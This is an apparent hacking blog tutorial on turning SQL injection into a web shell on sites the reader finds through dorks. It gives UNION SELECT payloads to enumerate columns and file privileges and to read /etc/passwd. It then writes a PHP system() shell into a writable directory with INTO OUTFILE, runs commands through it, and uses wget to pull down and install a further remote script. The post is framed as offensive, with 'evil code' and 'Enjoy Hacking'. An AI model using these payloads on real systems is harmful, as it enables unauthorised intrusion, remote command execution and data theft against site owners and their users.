How to Upload Shell From SQL injection !Hruday Charan

 

 first of all find a website which is vulnerable to sql injection. You can find websites by dorks or manually Depends On your Capability !

But You need 2 main things Here:

  1. Root Path of the website 
  2. A Writable Directory 
Most of the time, you will see root path in SQL error of that site.Like the following one : Example

” Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in/home/hruday/public_html/functions.php on the line 1327 

But , If the vulnerable website doesn’t show the root path then don’t worry i will show you how to know the root path. And Also Writable Directory. :

http://www.site.com/index.php?id=10′

I am not starting with abc of SQLI I hope u know the basics 😀 ,
Now we have to found columns of the website then vulnerable columns like my site have 5 columns And 3 is the vulnerable column ,

http://www.site.com/index.php?id=-10 UniOn SeleCt 1,2,3,4,5–
http://www.site.com/index.php?id=-10 UniOn SeleCt 1,2,version(),4,5–

Let’s Try To Load Files Of The Website : 

We Won’t Need To Read Any Files Mentioned above just to increase your knowledge. Now we have to check the file privileges for the current user for this first you have to find current username.
Like This :

http://www.site.com/index.php?id=-10 UniOn SeleCt 1,2,current_user,4,5–

Our Current Username is etc mine is HrudayCharan ;
Now Check File Privilages for User HrudayCharan ;

http://www.site.com/index.php?id=-10 UniOn SeleCt 1,2,file_priv,4,5 FROM mysql.user WHERE user=’HrudayCharan’–

If it shows Y (yes) on the vulnerable column of the website , that means we have the file privileges for the current user HrudayCharan
And if it doesn’t show Y then Don’t waste your time there 😀
Ok Now we need to know the root path for this webserver. So, for this information we need to know the webserver type.For this you can use firefox adon server spy.

” Server Spy Adon: https://addons.mozilla.org/en-us/firefox/addon/server-spy/

You can use havij and some other tool too to detect webserver type.
To know the webserver by file /etc/passwd use this query

http://www.site.com/index.php?id=-10 UniOn SeleCt 1,2,3,load_file(‘/etc/passwd’),5–

now we have our webserver etc (/home/Hruday) :
now read one more file.

http://www.site.com/index.php?id=-10 UniOn SeleCt 1,2,load_file(‘etc/HrudayCharan.conf’)4,5–

Where HrudayCharan is your webserver soft name like server name.conf .
now we have Obtained the root path

/home/site.com/public_html etc.

Now we have to find a writeable directory for this you can use google dorks as well and your knowledge too 😀

site http://www.site.com/dir/*/*/*/*/

so its site.com/Hruday is writeable
now we will upload our evil code

 ” http://www.site.com/index.php?id=10 UniOn SeleCt 1,2,”<?system($_REQUEST[‘cmd’]);?>”,4,5 into outfile ‘/home/site/public_html/Hruday/’WRITABLE_DIRECTORY’/hny.php’–+ “

ok now we have to execute our commands :

http://www.site.com/writeable_directory/hny.php?cmd=pwd ” OR
” COMMANDS YOU BASICALLY USE IN LINUX 😀 “

Now we will use wget command to upload our evil script : 3:) The Evil Attempt 😀

http://www.site.com/writeable_directory/hny.php?cmd=wget http://site.com/honey.txt -O honey.php” 

Now Open it . You Got Ready ! GoHere : http://www.site.com/WRITABLE_directory/honey.php And eNjoy The Shell 😀
Enjoy Hacking by Adesh kolte
Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s